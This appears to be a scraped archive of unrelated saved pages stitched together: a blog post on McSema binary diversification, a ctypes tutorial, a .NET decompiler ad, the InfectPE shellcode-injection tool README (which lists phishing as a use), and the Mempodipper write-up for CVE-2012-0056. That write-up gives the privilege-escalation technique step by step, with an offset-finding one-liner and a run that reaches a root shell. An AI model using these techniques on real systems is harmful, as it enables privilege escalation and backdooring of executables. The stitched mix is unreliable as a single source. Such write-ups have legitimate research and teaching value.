blog post, which is described more in the Lifting and Diversifying a Binary
section.

# Global Variables

Global variables can be accessed by all functions in a program. Since these
variables are not tied to a specific function, they are typically placed in a
special section of the program binary \(Figure 2\). As with stack variables,
the specific ordering of global variables can be exploited by attackers.

[code]

    bool is_admin = false;
    int set_admin(int uid) {
      is_admin = 0 == uid;
    }
[/code]

| <img src='img/8477_image3.png' width='325' height='186' alt='The set_admin
function' />  
<img src='img/8474_image11.png' width='325' height='31' alt='The is_admin
global variable' />  
---|---  
**Figure 2:** Global variables as seen at source code level and at the machine
code level. Global variables are typically placed into a special section in
the program \(in this case, into .bss\).  
Like the stack, McSema treats each data section as a large block of memory.
One major difference between stack and global variables is that McSema knows
where global variables start, because they are referenced directly from
multiple locations. Unfortunately that is not enough information to shuffle
around the global variable layout. McSema also needs to know where every
variable _ends_ , which is harder. Currently we rely on DWARF debug
information to identify global variable sizes, but look forward to
implementing approaches that would work on binaries without DWARF information.

Currently, global variable recovery is implemented separately from normal CFG
recovery \(in var\_recovery.py\). That script creates an “empty” CFG, filled
with only global variable definitions. The normal CFG recovery process will
further populate the file with the real control flow graph, referencing the
pre-populated global variables. We will show an example of using global
variable recovery later.

# Lifting and Diversifying A Binary

In the remainder of this blog post, we’ll refer to the process of generating
new program variants via the multicompiler as ‘diversification.’ For this
specific example, we will lift and diversify a simple C++ application that
uses exception handling \(including a catch-all clause\) and global variables.
While this is just a simple example, program semantics recovery is meant to
work on large, real applications: our standard test program is the Apache2 web
server.

First, let’s familiarize ourselves with the standard McSema workflow \(i.e.
without any diversification\), which is to lift the example binary to LLVM IR,
then compile that IR back down into a runnable program. To get started, please
build and install McSema. We provide detailed instructions in the official
McSema README.

Next, build and lift the program using the provided script \(lift.sh\). The
script will need to be edited to match your McSema installation.

After running `lift.sh`, you should have two programs: `example` and `example-
lift`, along with some intermediate files.

The example program squares two numbers and passes the result to the
`set_admin` function. If both the numbers are 5, then the program throws the
`std::runtime_error` exception. If the numbers are 0, then the global variable
`is_admin` is set to true. Finally, if two numbers are not supplied to the
program, then it throws `std::out_of_range`.

The four different cases can be demonstrated via the following program
invocations:

`**$ ./example**  
Starting example program  
Index out of range: Supply two arguments, please  
**$ ./example 0 0**  
Starting example program  
You are now admin.  
**$ ./example 1 2**  
Starting example program  
You are not admin.  
**$ ./example 5 5**  
Starting example program  
Runtime error: Lucky number 5`  
---  
We can see that example-lifted, the same program as lifted and re-created by
McSema, behaves identically:

`**$ ./example-lifted**  
Starting example program  
Index out of range: Supply two arguments, please  
**$ ./example-lifted 0 0**  
Starting example program  
You are now admin.  
**$ ./example-lifted 1 2**  
Starting example program  
You are not admin.  
**$ ./example-lifted 5 5**  
Starting example program  
Runtime error: Lucky number 5`  
---  
Now, lets diversify the lifted example program. To start, install the
multicompiler. Next, edit the lift.sh script to specify a path to your
multicompiler installation.

It’s time to build the diversified version. Run the script with the diversify
argument \(`./lift.sh diversify`\) to generate a diversified binary. The
diversified example looks different at the binary level than the original
\(Figure 3\), but has the same functionality:

`**$ ./example-diverse**  
Starting example program  
Index out of range: Supply two arguments, please  
**$ ./example-diverse 0 0**  
Starting example program  
You are now admin.  
**$ ./example-diverse 1 2**  
Starting example program  
You are not admin.  
**$ ./example-diverse 5 5**  
Starting example program  
Runtime error: Lucky number 5`  
---  
<img src='img/8476_image21.png' width='690' height='740' alt='Differences
between the normal and diversified binaries' />  
---  
**Figure 3:** The normal lifted binary \(left\) and its diversified equivalent
\(right\). Both binaries are functionally identical, but look different at the
binary level. Binary diversification protects software by preventing certain
classes of bugs from turning into exploits.  
Open `example-lifted` and `example-diversified` in your favorite disassembler.
Your binaries may not be identical to the ones in the screenshot, but they
should be different from each other.

Let’s review what we did. It’s really quite amazing. We started by building a
simple C++ program that used exceptions and global variables. Then we
translated the program into LLVM bitcode, identified stack and global
variables, and preserved exception-based control flow. We then transformed it
using the multicompiler, and created a new, diversified binary with the same
functionality as the original program.

While this was just a small example, this approach scales to much larger
applications, and provides a means to rapidly create diversified programs,
whether starting with source code or with a previous program binary.

# Conclusion

We would first like to thank DARPA, without whom this work would not be
possible, for providing ongoing funding for CFAR and other great research
programs. We would also like to thank our teammates — Galois, Immunant and UCI
— for their hard work creating the multicompiler, transformations, providing
equivalence guarantees for variants, and for making everything work together.

We are actively working to improve stack and global variable recovery in
McSema. Not only will these higher-level semantics create more diversification
and transformation opportunities, but they will also allow for smaller, leaner
bitcode, faster re-compiled binaries, and more thorough analyses.

We believe there is a bright future for CFAR and similar technologies: the
number of available cores per machine continues to increase, as does the need
for secure computing. Many software packages can’t utilize these cores for
performance, so it is only natural to use the spare cores for security.
McSema, the multicompiler, and other CFAR technologies show how we can put
these extra cores in service to stronger security guarantees.

If you think some of these technologies can be applied to your software,
please contact us. We’d love to hear from you. To learn more about CFAR, the
multicompiler, and other technologies developed under this program, please
read our teammates’ blog posts at the Galois blog and the Immunant blog.

# Disclaimer

The views, opinions and/or findings expressed are those of the author and
should not be interpreted as representing the official views or policies of
the Department of Defense or the U.S. Government.

### Share this:

  * Twitter
  * Reddit
  * Facebook8
  * Email
  * Print
  * 

Like

  * <img src='img/b7ddbc4388540c433849ccd2f2c0a05a.png' width='30' height='30' alt='yanapermana' />

One blogger likes this.

### _Related_

Your tool works better than mine? Prove it.In "Cyber Grand Challenge"

Ending the Love Affair with ExploitShieldIn "Malware"

A fuzzer and a symbolic executor walk into a cloudIn "Cyber Grand Challenge"

By Artem Dinaburg

Posted in Compilers, McSema, Mitigations, Program Analysis

  

# secrary/InfectPE

**Created:**| _5/7/2017 10:41:20 AM_  
---|---  
**Updated:**| _5/7/2017 10:41:20 AM_  
**Author:**| __  
**Tags:**| _windows backdoor_  
  

  

<img src='img/cf8d1058-2941-11e7-806a-b8f41f4f906e.png' width='82'
height='105' alt='InfectPE' />

Using this tool you can inject x-code/shellcode into PE file. InjectPE works
only with 32-bit executable files.

## Why you need InjectPE?

  * You can test your security products.
  * Use in a phishing campaign.
  * Learn how PE injection works.
  * ...and so on.

In the project, there is hardcoded x-code of MessageBoxA, you can change it.

## Download

Windows x86 binary \- Hardcoded MessageBoxA x-code, only for demos.

## Dependencies:

vc\_redist.x86 \- Microsoft Visual C++ Redistributable

## Usage

[code]

    .\InfectPE.exe .\input.exe .\out.exe code
    
[/code]

X-code is injected into code section, this method is more stealthy, but
sometimes there is no enough space in the code section.

[code]

    .\InfectPE.exe .\input.exe .\out.exe largest
    
[/code]

X-code is injected into a section with the largest number of zeros, using this
method you can inject bigger x-code. This method modifies characteristics of
the section and is a bit more suspicious.

[code]

    .\InfectPE.exe .\input.exe .\out.exe resize
    
[/code]

Expand the size of code section and inject x-code. This technique, like "code"
one, is less suspicious, also you can inject much bigger x-code.

[code]

    .\InfectPE.exe .\input.exe .\out.exe new
    
[/code]

Create a new section and inject x-code into it, hardcoded name of the section
is ".infect"

In the patched file, ASLR and NX are disabled, for the more technical
information you can analyze VS project.

Please, don't use with packed or malformed executables.

## Demo

Vimeo \- "code" and "largest" techniques.

Vimeo \- "resize" technique.

## TODO:

Add more techniques to inject x-code into PE file.

## \!\!\!

I create this project for me to learn a little bit more about PE file format.

There are no advanced techniques.

Just only for educational purposes.

  

# Free .NET decompiler :: JetBrains dotPeek

**Created:**| _1/31/2012 7:37:03 PM_  
---|---  
**Updated:**| _1/31/2012 7:37:16 PM_  
**Author:**| __  
**Tags:**| _software beta-testing_  
  

#

**dotPeek** is a **new free-of-charge .NET decompiler** from JetBrains, the
makers of ReSharper and more developer productivity tools.

##

  1. Decompiling .NET 1.0-4.0 assemblies to C\#
  2. Quick jump to a specific type, assembly, symbol, or type member
  3. Effortless navigation to symbol declarations, implementations, derived and base symbols, and more
  4. Accurate search for symbol usages  
with advanced presentation of search results

  5. Overview of inheritance chains
  6. Support for downloading code from source servers
  7. Syntax highlighting
  8. Complete keyboard support
  9. dotPeek is free\!

+

•

<img src='img/Temp2_3288.png' alt='Free .NET decompiler from JetBrains with
ReSharper-like navigation' />

•

Download an early dotPeek build »

# Linux Local Privilege Escalation via SUID /proc/pid/mem Write | Nerdling Sapple
**Created:**| _1/31/2012 7:25:02 PM_  
---|---  
**Updated:**| _1/31/2012 7:25:22 PM_  
**Author:**| __  
**Tags:**| _Exploit post-exploitation Linux_  
  

## Nerdling Sapple

# Linux Local Privilege Escalation via SUID /proc/pid/mem Write

Introducing Mempodipper, an exploit for CVE-2012-0056. `/proc/_pid_ /mem` is
an interface for reading and writing, directly, process memory by seeking
around with the same addresses as the process’s virtual memory space. In
2.6.39, the protections against unauthorized access to `/proc/_pid_ /mem` were
deemed sufficient, and so the prior `#ifdef` that prevented write support for
writing to arbitrary process memory was removed. Anyone with the correct
permissions could write to process memory. It turns out, of course, that the
permissions checking was done poorly. _This means that all Linux kernels
>=2.6.39 are vulnerable_, up until the fix commit for it a couple days ago.
Let’s take the old kernel code step by step and learn what’s the matter with
it.

When `/proc/_pid_ /mem` is opened, this kernel code is called:

[code]

    static int mem_open(struct inode* inode, struct file* file)
    {
    	file->private_data = (void*)((long)current->self_exec_id);
    	/* OK to pass negative loff_t, we can catch out-of-range */
    	file->f_mode |= FMODE_UNSIGNED_OFFSET;
    	return 0;
    }
[/code]

There are no restrictions on opening; anyone can open the `/proc/_pid_ /mem`
fd for any process \(subject to the ordinary VFS restrictions\). It simply
makes note of the original process’s `self_exec_id` that it was opened with
and stores this away for checking later during reads and writes.

Writes \(and reads\), however, have permissions checking restrictions. Let’s
take a look at the write function:

[code]

    static ssize_t mem_write(struct file * file, const char __user *buf,
    			 size_t count, loff_t *ppos)
    {
     
    /* unimportant code removed for blog post */	
     
    	struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
     
    /* unimportant code removed for blog post */
     
    	mm = check_mem_permission(task);
    	copied = PTR_ERR(mm);
    	if (IS_ERR(mm))
    		goto out_free;
     
    /* unimportant code removed for blog post */	
     
    	if (file->private_data != (void *)((long)current->self_exec_id))
    		goto out_mm;
     
    /* unimportant code removed for blog post
     * (the function here goes onto write the buffer into the memory)
     */
[/code]

So there are two relevant checks in place to prevent against unauthorized
writes: `check_mem_permission` and `self_exec_id`. Let’s do the first one
first and second one second.

The code of `check_mem_permission` simply calls into `__check_mem_permission`,
so here’s the code of that:

[code]

    static struct mm_struct *__check_mem_permission(struct task_struct *task)
    {
    	struct mm_struct *mm;
     
    	mm = get_task_mm(task);
    	if (!mm)
    		return ERR_PTR(-EINVAL);
     
    	/*
    	 * A task can always look at itself, in case it chooses
    	 * to use system calls instead of load instructions.
    	 */
    	if (task == current)
    		return mm;
     
    	/*
    	 * If current is actively ptrace'ing, and would also be
    	 * permitted to freshly attach with ptrace now, permit it.
    	 */
    	if (task_is_stopped_or_traced(task)) {
    		int match;
    		rcu_read_lock();
    		match = (ptrace_parent(task) == current);
    		rcu_read_unlock();
    		if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
    			return mm;
    	}
     
    	/*
    	 * No one else is allowed.
    	 */
    	mmput(mm);
    	return ERR_PTR(-EPERM);
    }
[/code]

There are two ways that the memory write is authorized. Either `task ==
current`, meaning that the process being written to is the process writing, or
`current` \(the process writing\) has esoteric ptrace-level permissions to
play with `task` \(the process being written to\). Maybe you think you can
trick the ptrace code? It’s tempting. But I don’t know. Let’s instead figure
out how we can make a process write arbitrary memory to itself, so that `task
== current`.

Now naturally, we want to write into the memory of suid processes, since then
we can get root. Take a look at this:

[code]

    $ su "yeeeee haw I am a cowboy"
    Unknown id: yeeeee haw I am a cowboy
[/code]

`su` will spit out whatever text you want onto stderr, prefixed by “Unknown
id:”. So, we can open a fd to `/proc/self/mem`, `lseek` to the right place in
memory for writing \(more on that later\), use `dup2` to couple together
stderr and the mem fd, and then `exec` to `su $shellcode` to write an shell
spawner to the process memory, and then we have root. Really? Not so easy.

Here the other restriction comes into play. After it passes the `task ==
current` test, it then checks to see if the current `self_exec_id` matches the
`self_exec_id` that the fd was opened with. What on earth is `self_exec_id`?
It’s only referenced a few places in the kernel. The most important one
happens to be inside of `exec`:

[code]

    void setup_new_exec(struct linux_binprm * bprm)
    {
    /* massive amounts of code trimmed for the purpose of this blog post */
     
    	/* An exec changes our domain. We are no longer part of the thread
    	   group */
     
    	current->self_exec_id++;
     
    	flush_signal_handlers(current, 0);
    	flush_old_files(current->files);
    }
    EXPORT_SYMBOL(setup_new_exec);
[/code]

`self_exec_id` is incremented each time a process `exec`s. So in this case, it
functions so that you can’t open the fd in a non-suid process, `dup2`, and
then `exec` to a suid process… which is exactly what we were trying to do
above. Pretty clever way of deterring our attack, eh?

Here’s how to get around it. We fork a child, and inside of that child, we
`exec` to _a new process_. The initial child fork has a `self_exec_id` equal
to its parent. When we `exec` to a new process, `self_exec_id` increments by
one. Meanwhile, the parent itself is busy `exec`ing to our shellcode writing
`su` process, so its `self_exec_id` gets incremented to the same value. So
what we do is — we make this child fork and `exec` to a new process, and
inside of that new process, we _open up a fd to` /proc/parent-pid/mem` using
the pid of the parent process, not our own process_ \(as was the case prior\).
We can open the fd like this because there is no permissions checking for a
mere open. When it is opened, its `self_exec_id` has already incremented to
the right value that the parent’s `self_exec_id` will be when we `exec` to
`su`. So finally, we pass our opened fd from the child process back to the
parent process \(using some very black unix domain sockets magic\), do our
`dup2`ing, and `exec` into `su` with the shell code.

There is one remaining objection. Where do we write to? We have to `lseek` to
the proper memory location before writing, and ASLR randomizes processes
address spaces making it impossible to know where to write to. Should we spend
time working on more cleverness to figure out how to read process memory, and
then carry out a search? No. Check this out:

[code]

    $ readelf -h /bin/su | grep Type
      Type:                              EXEC (Executable file)
[/code]

This means that `su` does not have a relocatable .text section \(otherwise it
would spit out “DYN” instead of “EXEC”\). It turns out that `su` on the vast
majority of distros is _not compiled withPIE_, disabling ASLR for the .text
section of the binary\! So we’ve chosen `su` wisely. The offsets in memory
will always be the same. So to find the right place to write to, let’s check
out the assembly surrounding the printing of the “Unknown id: blabla” error
message.

It gets the error string here:

[code]

      403677:       ba 05 00 00 00          mov    $0x5,%edx
      40367c:       be ff 64 40 00          mov    $0x4064ff,%esi
      403681:       31 ff                   xor    %edi,%edi
      403683:       e8 e0 ed ff ff          callq  402468 (dcgettext@plt)
[/code]

And then writes it to stderr:

[code]

      403688:       48 8b 3d 59 51 20 00    mov    0x205159(%rip),%rdi        # 6087e8 (stderr)
      40368f:       48 89 c2                mov    %rax,%rdx
      403692:       b9 20 88 60 00          mov    $0x608820,%ecx
      403697:       be 01 00 00 00          mov    $0x1,%esi
      40369c:       31 c0                   xor    %eax,%eax
      40369e:       e8 75 ea ff ff          callq  402118 (__fprintf_chk@plt)
[/code]

Closes the log:

[code]

      4036a3:       e8 f0 eb ff ff          callq  402298 (closelog@plt)
[/code]

And then exits the program:

[code]

      4036a8:       bf 01 00 00 00          mov    $0x1,%edi
      4036ad:       e8 c6 ea ff ff          callq  402178 (exit@plt)
[/code]

We therefore want to use 0×402178, which is the exit function it calls. We
can, in an exploit, automate the finding of the `exit@plt` symbol with a
simple bash one-liner:

[code]

    $ objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'
    0x402178
[/code]

So naturally, we want to write to 0×402178 minus the number of letters in the
string “Unknown id: “, so that our shellcode is placed at exactly the right
place.

The shellcode should be simple and standard. It sets the uid and gid to 0 and
`exec`s into a shell. If we want to be clever, we can reopen stderr by, prior
to `dup2`ing the memory fd to stderr, we choose another fd to dup stderr to,
and then in the shellcode, we `dup2` that other fd _back_ to stderr.

In the end, the exploit works like a charm with total reliability:

[code]

     
    CVE-2012-0056 $ ls
    build-and-run-exploit.sh  build-and-run-shellcode.sh  mempodipper.c  shellcode-32.s  shellcode-64.s
    CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
    CVE-2012-0056 $ ./mempodipper 
    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================
     
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/6454/mem in child.
    [+] Sending fd 3 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [+] Resolved exit@plt to 0x402178.
    [+] Seeking to offset 0x40216c.
    [+] Executing su with shellcode.
    sh-4.2# whoami
    root
    sh-4.2#
[/code]

You can watch a video of it in action:  

As always, thanks to Dan Rosenberg for his continued advice and support. ~~I’m
currently not releasing any source code~~ , as Linus only very recently
patched it. ~~After a responsible amount of time passes or if someone else
does first, I’ll publish. If you’re a student trying to learn about things or
have otherwise legitimate reasons, we can talk.~~

**Update** : evidently, based on this blog post, ironically, some other folks
made exploits and published them. So, here’s mine. I wrote the shellcode for
32-bit and 64-bit by hand. Enjoy\!

**Update 2** : as it turns out, Fedora very aptly compiles their `su` with
`PIE`, which defeats this attack. They do not, unfortunately, compile all
their SUID binaries with `PIE`, and so this attack is still possible with, for
example, `gpasswd`. The code to do this is in the “fedora” branch of the git
repository, and a video demonstration is also available.

**Update 3** : Gentoo is smart enough to remove read permissions on SUID
binaries, making it impossible to find the `exit@plt` offset using `objdump`.
I determined another way to do this, using ptrace. `Ptrace` allows debugging
of any program in memory. For SUID programs, ptracing will drop its
privileges, but that’s fine, since we simply want to find internal memory
locations. By parsing the opcode of the binary at the right time, we can
decipher the target address of the next call after the printing of the error
message. I’ve created a standalone utility that returns the offset, as well as
integrating it into the main mempodipper source.

_\{As always, this is work here is strictly academic, and is not intended for
use beyond research and education.\}_

# postgres-pth.pdf

**Created:**| _3/3/2015 1:56:42 PM_  
---|---  
**Updated:**| _3/3/2015 1:56:42 PM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/postgres-pth.pdf' />

# ctypes tutorial

**Created:**| _5/8/2009 8:06:21 PM_  
---|---  
**Updated:**| _5/8/2009 8:07:43 PM_  
**Author:**| __  
**Tags:**| _Gray Hat Python \(book\)_  
  

# ctypes tutorial

Contents

  * Loading dynamic link libraries
  * Accessing functions from loaded dlls
  * Calling functions
  * Fundamental data types
  * Calling functions, continued
  * Calling functions with your own custom data types
  * Specifying the required argument types \(function prototypes\)
  * Return types
  * Passing pointers \(or: passing parameters by reference\)
  * Structures and unions
  * Structure/union alignment and byte order
  * Bit fields in structures and unions
  * Arrays
  * Pointers
  * Type conversions
  * Incomplete Types
  * Callback functions
  * Accessing values exported from dlls
  * Surprises
  * Variable-sized data types
  * Bugs, ToDo and non-implemented things

Note: The code samples in this tutorial uses `doctest` to make sure that they
actually work. Since some code samples behave differently under Linux,
Windows, or Mac OS X, they contain doctest directives in comments.

Note: Quite some code samples references the ctypes `c_int` type. This type is
an alias to the `c_long` type on 32-bit systems. So, you should not be
confused if `c_long` is printed if you would expect `c_int` \- they are
actually the same type.

# Loading dynamic link libraries

`ctypes` exports the `cdll`, and on Windows also `windll` and `oledll` objects
to load dynamic link libraries.

You load libraries by accessing them as attributes of these objects. `cdll`
loads libraries which export functions using the standard `cdecl` calling
convention, while `windll` libraries call functions using the `stdcall`
calling convention. `oledll` also uses the `stdcall` calling convention, and
assumes the functions return a Windows `HRESULT` error code. The error code is
used to automatically raise `WindowsError` Python exceptions when the function
call fails.

Here are some examples for Windows, note that `msvcrt` is the MS standard C
library containing most standard C functions, and uses the cdecl calling
convention:

[code]

    >>> from ctypes import *
    >>> print windll.kernel32 # doctest: +WINDOWS
    <WinDLL 'kernel32', handle ... at ...>
    >>> print cdll.msvcrt # doctest: +WINDOWS
    <CDLL 'msvcrt', handle ... at ...>
    >>> libc = cdll.msvcrt # doctest: +WINDOWS
    >>>
    
    
[/code]

Windows appends the usual '.dll' file suffix automatically.

On Linux, it is required to specify the filename _including_ the extension to
load a library, so attribute access does not work. Either the `LoadLibrary`
method of the dll loaders should be used, or you should load the library by
creating an instance of CDLL by calling the constructor:

[code]

    >>> cdll.LoadLibrary("libc.so.6") # doctest: +LINUX
    <CDLL 'libc.so.6', handle ... at ...>
    >>> libc = CDLL("libc.so.6")     # doctest: +LINUX
    >>> libc                         # doctest: +LINUX
    <CDLL 'libc.so.6', handle ... at ...>
    >>>
    
    
[/code]

# Accessing functions from loaded dlls

Functions are accessed as attributes of dll objects:

[code]

    >>> from ctypes import *
    >>> libc.printf
    <_FuncPtr object at 0x...>
    >>> print windll.kernel32.GetModuleHandleA # doctest: +WINDOWS
    <_FuncPtr object at 0x...>
    >>> print windll.kernel32.MyOwnFunction # doctest: +WINDOWS
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
      File "ctypes.py", line 239, in __getattr__
        func = _StdcallFuncPtr(name, self)
    AttributeError: function 'MyOwnFunction' not found
    >>>
    
    
[/code]

Note that win32 system dlls like `kernel32` and `user32` often export ANSI as
well as UNICODE versions of a function. The UNICODE version is exported with
an `W` appended to the name, while the ANSI version is exported with an `A`
appended to the name. The win32 `GetModuleHandle` function, which returns a
_module handle_ for a given module name, has the following C prototype, and a
macro is used to expose one of them as `GetModuleHandle` depending on whether
UNICODE is defined or not:

[code]

    /* ANSI version */
    HMODULE GetModuleHandleA(LPCSTR lpModuleName);
    /* UNICODE version */
    HMODULE GetModuleHandleW(LPCWSTR lpModuleName);
    
    
[/code]

`windll` does not try to select one of them by magic, you must access the
version you need by specifying `GetModuleHandleA` or `GetModuleHandleW`
explicitely, and then call it with normal strings or unicode strings
respectively.

Sometimes, dlls export functions with names which aren't valid Python
identifiers, like `"??2@YAPAXI@Z"`. In this case you have to use `getattr` to
retrieve the function:

[code]

    >>> getattr(cdll.msvcrt, "??2@YAPAXI@Z") # doctest: +WINDOWS
    <_FuncPtr object at 0x...>
    >>>
    
    
[/code]

On Windows, some dlls export functions not by name but by ordinal. These
functions can be accessed by indexing the dll object with the ordinal number:

[code]

    >>> cdll.kernel32[1] # doctest: +WINDOWS
    <_FuncPtr object at 0x...>
    >>> cdll.kernel32[0] # doctest: +WINDOWS
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
      File "ctypes.py", line 310, in __getitem__
        func = _StdcallFuncPtr(name, self)
    AttributeError: function ordinal 0 not found
    >>>
    
    
[/code]

# Calling functions

You can call these functions like any other Python callable. This example uses
the `time()` function, which returns system time in seconds since the UNIX
epoch, and the `GetModuleHandleA()` function, which returns a win32 module
handle.

This example calls both functions with a NULL pointer \(`None` should be used
as the NULL pointer\):

[code]

    >>> print libc.time(None) # doctest: +SKIP
    1150640792
    >>> print hex(windll.kernel32.GetModuleHandleA(None)) # doctest: +WINDOWS
    0x1d000000
    >>>
    
    
[/code]

`ctypes` tries to protect you from calling functions with the wrong number of
arguments or the wrong calling convention. Unfortunately this only works on
Windows. It does this by examining the stack after the function returns, so
although an error is raised the function _has_ been called:

[code]

    >>> windll.kernel32.GetModuleHandleA() # doctest: +WINDOWS
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
    ValueError: Procedure probably called with not enough arguments (4 bytes missing)
    >>> windll.kernel32.GetModuleHandleA(0, 0) # doctest: +WINDOWS
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
    ValueError: Procedure probably called with too many arguments (4 bytes in excess)
    >>>
    
    
[/code]

The same exception is raised when you call an `stdcall` function with the
`cdecl` calling convention, or vice versa:

[code]

    >>> cdll.kernel32.GetModuleHandleA(None) # doctest: +WINDOWS
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
    ValueError: Procedure probably called with not enough arguments (4 bytes missing)
    >>>
    
    >>> windll.msvcrt.printf("spam") # doctest: +WINDOWS
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
    ValueError: Procedure probably called with too many arguments (4 bytes in excess)
    >>>
    
    
[/code]

To find out the correct calling convention you have to look into the C header
file or the documentation for the function you want to call.

On Windows, `ctypes` uses win32 structured exception handling to prevent
crashes from general protection faults when functions are called with invalid
argument values:

[code]

    >>> windll.kernel32.GetModuleHandleA(32) # doctest: +WINDOWS
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
    WindowsError: exception: access violation reading 0x00000020
    >>>
    
    
[/code]

There are, however, enough ways to crash Python with `ctypes`, so you should
be careful anyway.

`None`, integers, longs, byte strings and unicode strings are the only native
Python objects that can directly be used as parameters in these function
calls. `None` is passed as a C `NULL` pointer, byte strings and unicode
strings are passed as pointer to the memory block that contains their data
\(`char *` or `wchar_t *`\). Python integers and Python longs are passed as
the platforms default C `int` type, their value is masked to fit into the C
type.

Before we move on calling functions with other parameter types, we have to
learn more about `ctypes` data types.

# Fundamental data types

`ctypes` defines a number of primitive C compatible data types :

> ctypes type| C type| Python type  
> ---|---|---  
> `c_char`| `char`| 1-character string  
> `c_wchar`| `wchar_t`| 1-character unicode string  
> `c_byte`| `char`| int/long  
> `c_ubyte`| `unsigned char`| int/long  
> `c_short`| `short`| int/long  
> `c_ushort`| `unsigned short`| int/long  
> `c_int`| `int`| int/long  
> `c_uint`| `unsigned int`| int/long  
> `c_long`| `long`| int/long  
> `c_ulong`| `unsigned long`| int/long  
> `c_longlong`| `__int64` or `long long` | int/long   
> `c_ulonglong`| `unsigned __int64` or `unsigned long long` | int/long   
> `c_float`| `float`| float  
> `c_double`| `double`| float  
> `c_char_p`| `char *` \(NUL terminated\) | string or `None`  
> `c_wchar_p`| `wchar_t *` \(NUL terminated\) | unicode or `None`  
> `c_void_p`| `void *`| int/long or `None`  
All these types can be created by calling them with an optional initializer of
the correct type and value:

[code]

    >>> c_int()
    c_long(0)
    >>> c_char_p("Hello, World")
    c_char_p('Hello, World')
    >>> c_ushort(-3)
    c_ushort(65533)
    >>>
    
    
[/code]

Since these types are mutable, their value can also be changed afterwards:

[code]

    >>> i = c_int(42)
    >>> print i
    c_long(42)
    >>> print i.value
    42
    >>> i.value = -99
    >>> print i.value
    -99
    >>>
    
    
[/code]

Assigning a new value to instances of the pointer types `c_char_p`,
`c_wchar_p`, and `c_void_p` changes the _memory location_ they point to, _not
the contents_ of the memory block \(of course not, because Python strings are
immutable\):

[code]

    >>> s = "Hello, World"
    >>> c_s = c_char_p(s)
    >>> print c_s
    c_char_p('Hello, World')
    >>> c_s.value = "Hi, there"
    >>> print c_s
    c_char_p('Hi, there')
    >>> print s                 # first string is unchanged
    Hello, World
    >>>
    
    
[/code]

You should be careful, however, not to pass them to functions expecting
pointers to mutable memory. If you need mutable memory blocks, ctypes has a
`create_string_buffer` function which creates these in various ways. The
current memory block contents can be accessed \(or changed\) with the `raw`
property, if you want to access it as NUL terminated string, use the `string`
property:

[code]

    >>> from ctypes import *
    >>> p = create_string_buffer(3)      # create a 3 byte buffer, initialized to NUL bytes
    >>> print sizeof(p), repr(p.raw)
    3 '\x00\x00\x00'
    >>> p = create_string_buffer("Hello")      # create a buffer containing a NUL terminated string
    >>> print sizeof(p), repr(p.raw)
    6 'Hello\x00'
    >>> print repr(p.value)
    'Hello'
    >>> p = create_string_buffer("Hello", 10)  # create a 10 byte buffer
    >>> print sizeof(p), repr(p.raw)
    10 'Hello\x00\x00\x00\x00\x00'
    >>> p.value = "Hi"
    >>> print sizeof(p), repr(p.raw)
    10 'Hi\x00lo\x00\x00\x00\x00\x00'
    >>>
    
    
[/code]

The `create_string_buffer` function replaces the `c_buffer` function \(which
is still available as an alias\), as well as the `c_string` function from
earlier ctypes releases. To create a mutable memory block containing unicode
characters of the C type `wchar_t` use the `create_unicode_buffer` function.

# Calling functions, continued

Note that printf prints to the real standard output channel, _not_ to
`sys.stdout`, so these examples will only work at the console prompt, not from
within _IDLE_ or _PythonWin_ :

[code]

    >>> printf = libc.printf
    >>> printf("Hello, %s\n", "World!")
    Hello, World!
    14
    >>> printf("Hello, %S", u"World!")
    Hello, World!
    13
    >>> printf("%d bottles of beer\n", 42)
    42 bottles of beer
    19
    >>> printf("%f bottles of beer\n", 42.5)
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
    ArgumentError: argument 2: exceptions.TypeError: Don't know how to convert parameter 2
    >>>
    
    
[/code]

As has been mentioned before, all Python types except integers, strings, and
unicode strings have to be wrapped in their corresponding `ctypes` type, so
that they can be converted to the required C data type:

[code]

    >>> printf("An int %d, a double %f\n", 1234, c_double(3.14))
    Integer 1234, double 3.1400001049
    31
    >>>
    
    
[/code]

# Calling functions with your own custom data types

You can also customize `ctypes` argument conversion to allow instances of your
own classes be used as function arguments. `ctypes` looks for an
`_as_parameter_` attribute and uses this as the function argument. Of course,
it must be one of integer, string, or unicode:

[code]

    >>> class Bottles(object):
    ...     def __init__(self, number):
    ...         self._as_parameter_ = number
    ...
    >>> bottles = Bottles(42)
    >>> printf("%d bottles of beer\n", bottles)
    42 bottles of beer
    19
    >>>
    
    
[/code]

If you don't want to store the instance's data in the `_as_parameter_`
instance variable, you could define a `property` which makes the data
avaiblable.

# Specifying the required argument types \(function prototypes\)

It is possible to specify the required argument types of functions exported
from DLLs by setting the `argtypes` attribute.

`argtypes` must be a sequence of C data types \(the `printf` function is
probably not a good example here, because it takes a variable number and
different types of parameters depending on the format string, on the other
hand this is quite handy to experiment with this feature\):

[code]

    >>> printf.argtypes = [c_char_p, c_char_p, c_int, c_double]
    >>> printf("String '%s', Int %d, Double %f\n", "Hi", 10, 2.2)
    String 'Hi', Int 10, Double 2.200000
    37
    >>>
    
    
[/code]

Specifying a format protects against incompatible argument types \(just as a
prototype for a C function\), and tries to convert the arguments to valid
types:

[code]

    >>> printf("%d %d %d", 1, 2, 3)
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
    ArgumentError: argument 2: exceptions.TypeError: wrong type
    >>> printf("%s %d %f", "X", 2, 3)
    X 2 3.00000012
    12
    >>>
    
    
[/code]

If you have defined your own classes which you pass to function calls, you
have to implement a `from_param` class method for them to be able to use them
in the `argtypes` sequence. The `from_param` class method receives the Python
object passed to the function call, it should do a typecheck or whatever is
needed to make sure this object is acceptable, and then return the object
